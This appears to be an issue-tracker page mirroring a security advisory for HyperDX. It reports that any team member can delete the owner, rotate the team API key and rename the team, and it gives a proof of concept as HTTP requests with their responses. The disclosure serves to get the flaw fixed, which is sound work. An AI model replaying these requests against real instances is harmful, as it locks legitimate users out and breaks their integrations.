hyperdxio / hyperdxio/hyperdx

Any team member can delete other members, rotate the API key, and rename the team

Open
#2,587 0 comments 1 reaction 0 assignees View on GitHub

Nobody has claimed this yet.

external
Dominant language
TypeScript
Stars
9.9k
Forks
471
Avg merge
2d 4h
Merged PRs (30d)
117

Description

reported on 1 June 2026 https://github.com/hyperdxio/hyperdx/security/advisories/GHSA-4v76-rwjw-4cxg - no response.

Summary

Any authenticated HyperDX team member can delete other team members (including administrators), rotate the shared team API key, and rename the team. HyperDX has no role model -- the user schema has no admin or role field -- so every team member has the same authority as the account owner. A disgruntled or compromised team member can permanently lock every other user out of the instance and break all API integrations.

Details

The team management router at packages/api/src/routers/api/team.ts exposes three sensitive operations without any ownership or role check:

  1. PATCH /team/apiKey (line 67-81): calls rotateTeamApiKey(teamId) for any authenticated user.
  2. PATCH /team/name (line 83-103): calls setTeamName(teamId, name) for any authenticated user.
  3. DELETE /team/member/:id (line 269-296): calls deleteTeamMember(teamId, userIdToDelete, userIdRequestingDelete) for any authenticated user.

The deleteTeamMember controller at packages/api/src/controllers/user.ts (line 23-43) correctly scopes deletion to team: teamId, preventing cross-team deletion. But it places no restriction on which team member is allowed to delete which -- any member can delete any other member, including the account owner.

The user model at packages/api/src/models/user.ts contains no role, isAdmin, or isOwner field; HyperDX has no role-based access control for team management operations.

Correctly scoped adjacent operations exist (alerts, dashboards, and saved searches all enforce team: teamId but not role) confirming the team router's lack of a role check is an oversight rather than a design choice.

PoC

Prerequisites: two accounts on the same HyperDX instance -- owner (admin@teama.com) and member (member@teama.com).

  1. Log in as the member account and obtain a session cookie.

  2. List team members to find the owner's user ID:

GET /team/members HTTP/1.1
Host: hyperdx.example.com
Cookie: connect.sid=<member-session>

Response:

{"data":[{"_id":"6a1d1813c7e8f2e3e0c4f8f4","email":"admin@teama.com","hasPasswordAuth":true},
          {"_id":"6a1d1841c7e8f2e3e0c4f930","email":"member@teama.com","isCurrentUser":true}]}
  1. Delete the admin (owner) as the member:
DELETE /team/member/6a1d1813c7e8f2e3e0c4f8f4 HTTP/1.1
Host: hyperdx.example.com
Cookie: connect.sid=<member-session>

Response:

{"message":"User deleted"}
  1. Confirm the admin account no longer exists:
POST /login/password HTTP/1.1
Host: hyperdx.example.com
Content-Type: application/json

{"email":"admin@teama.com","password":"SecurePass1!"}

Response: HTTP 303 Location: /login?err=authFail

  1. Rotate the team API key as the member (disrupts all API integrations):
PATCH /team/apiKey HTTP/1.1
Host: hyperdx.example.com
Cookie: connect.sid=<member-session>

Response:

{"newApiKey":"fd5a116b-83f3-40a8-88cf-f0d06f9cb5d9"}
  1. Rename the team:
PATCH /team/name HTTP/1.1
Host: hyperdx.example.com
Cookie: connect.sid=<member-session>
Content-Type: application/json

{"name":"COMPROMISED"}

Response:

{"name":"COMPROMISED"}
Impact

A regular team member can permanently remove every other user from the instance, leaving no way for the original owner to recover access without direct database access. Rotating the team API key breaks all automated integrations that use the API key (alerting pipelines, CI/CD tooling, external dashboards). This requires no elevated privileges -- only a valid team member session, obtainable via the team invite flow. In a shared observability instance, a single compromised or malicious user can cause a full availability and integrity loss for the entire team.

Contributor guide

Open the contributing guide

First steps

  1. Read the whole issue, then the project's contributing guide.
  2. Comment on the issue to say you are picking it up — it saves two people doing the same work.
  3. Fork the repository and make your change on a branch.
  4. Open a pull request that references the issue number.

Research direction

Start with packages/api/src/routers/api/team.ts and trace the three sensitive endpoints into packages/api/src/controllers/user.ts and packages/api/src/models/user.ts. Review the existing team-scoping behavior and the absence of role fields before determining the authorization design. Done means unauthorized team members can no longer perform these operations while legitimate team-management access remains intact, verified against the described PoC flows.

Written by the indexing model from the issue text.

Assessment

Tech stack
typescript
Domain
authorization, backend, security
Issue type
Bug
Difficulty
5/5
Estimated time
Over a week
Activity status
Quiet
Clarity
Clearly specified
Newbie friendliness
28/100

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.